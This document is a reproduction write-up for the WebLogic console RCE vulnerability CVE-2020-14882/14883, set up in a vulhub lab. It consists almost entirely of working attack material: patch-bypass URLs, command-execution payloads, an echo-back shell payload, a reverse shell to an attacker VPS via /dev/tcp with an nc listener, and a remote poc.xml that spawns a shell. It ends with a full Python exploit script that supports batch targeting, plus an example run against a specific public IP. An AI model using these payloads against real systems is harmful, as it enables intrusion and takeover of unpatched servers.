CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现

git clone  https://github.com/vulhub/vulhub.git

docker-compose up -d

/console/images/%252E%252E%252Fconsole.portal /console/css/%25%32%65%25%32%65%25%32%66console.portal 大写换成小写可绕过补丁：/console/images/%252e%252e%252fconsole.portal /console/css/%252e%252e%252fconsole.portal

http://xxx.xxx.xxx:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27whoami%27);%22)

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20wexqq0.dnslog.cn');")

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')  HTTP/1.1 Host: IP:7001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 Accept: */* Referer: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27111%27);%22); Accept-Encoding: gzip, deflate cmd:whoami && ls Accept-Language: zh-CN,zh;q=0.9 Cookie: ADMINCONSOLESESSION=8guoLM33tVnPrUomY4v8yi8C9bd-Glfq8JOrW2ntH-gJYHZ-oGgQ!1524101341 Connection: close

nc -lvp 1234

bash -i >& /dev/tcp/VPS/port 0>&1

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value><![CDATA[curl 9ljqbh.dnslog.cn]]></value>          </list>        </constructor-arg>    </bean></beans>

python2 -m SimpleHTTPServer 9000

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启web服务的VPS:端口/poc.xml")

<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">        <constructor-arg>          <list>            <value>bash</value>            <value>-c</value>            <value><![CDATA[bash -i >& /dev/tcp/VPSIP/1234 0>&1]]></value>          </list>        </constructor-arg>    </bean></beans>

python2 -m SimpleHTTPServer 9000

nc -lvp 1234

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启web服务的VPS:端口/poc.xml")

#coding:utf-8import requestsimport sysimport argparseimport http.client
http.client.HTTPConnection._http_vsn = 10http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
requests.packages.urllib3.disable_warnings()

#功能1方法：回显命令执行。def command(url_cmd,headers_cmd,url):           try:                      res = requests.get(url_cmd, headers = headers_cmd,timeout = 15, verify = False)                      if " not in res.text and " not in res.text :                                 print ("[+] Command success result:")                                 print (res.text)
                      else:                                 print ("[-] " + url + " not vulnerable or command error!")           except Exception as e:                      #print (e)                      print ("[-] " + url + " not vulnerable or command error!")

#功能2方法：无回显，命令执行,适用于Weblogic 10.x、12.x。def weblogic_12(url_cmd,post_12,headers_12):           try:                      res = requests.post(url_cmd, data = post_12, headers = headers_12,timeout = 15, verify = False)                      #print ("[+] Attack complete!")           except Exception as e:                      print ("[+] Attack complete!")
def main():           banner = """  _______      ________    ___   ___ ___   ___        __ _  _   ___   ___ ___   / ____     / /  ____|  |__  / _ __  / _       /_ | || | / _  / _ __  | |        / /| |__ ______ ) | | | | ) | | | |______| | || || (_) | (_) | ) || |       / / |  __|______/ /| | | |/ /| | | |______| |__   _> _ < > _ < / / | |____     /  | |____    / /_| |_| / /_| |_| |      | |  | || (_) | (_) / /_  _____|   /   |______|  |____|___/____|___/       |_|  |_| ___/ ___/____|                                                                                                                                        Author:GGyao                                                         Github:https://github.com/GGyao
"""
           print (banner)           parser = argparse.ArgumentParser()           parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。")           parser.add_argument("-f", "--file", help="Target File; Example:target.txt。")           parser.add_argument("-c", "--cmd", help="Commands to be executed; ")           parser.add_argument("-x", "--xml", help="Remote XML file; Example:http://vpsip/poc.xml; ")           args = parser.parse_args()
           #功能1：命令回显。           if args.url != None and args.cmd != None:                      url = args.url                      url_cmd = args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""                      headers_cmd = {                      'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',                      'cmd':args.cmd,                      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',                      'Content-Type':'application/x-www-form-urlencoded'                      }
                      #post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""
                                 #command(url_cmd,post_cmd,headers_cmd,url)                      command(url_cmd,headers_cmd,url)
           #功能2：weblogic 12.x命令执行。           if args.url != None and args.xml != None:                      url_cmd = args.url + '/console/images/%252e%252e/console.portal'                      headers_12 = {                      'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',                      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',                      'Content-Type':'application/x-www-form-urlencoded'                      }
                      post_12 = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml)
                      weblogic_12(url_cmd,post_12,headers_12)
           # 功能3：回显命令执行批量。           if args.file != None and args.cmd != None:                      #print (1)                      for File  in open(args.file):                                 File = File.strip()                                 url_cmd = File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""                                 print ("[*] >>> Test:" + File)
                                 url = File                                 headers_cmd = {                                 'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',                                 'cmd':args.cmd,                                 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',                                 'Content-Type':'application/x-www-form-urlencoded'                                 }

                                 #post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""                                 command(url_cmd,headers_cmd,url)

if __name__=="__main__":           main()

python3 CVE-2020-14882_ALL.py -u http://116.62.106.123:7001 -c "whoami"

python2 -m SimpleHTTPServer 9000

nc -lvp 1234

http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启web服务的VPS:端口/poc.xml")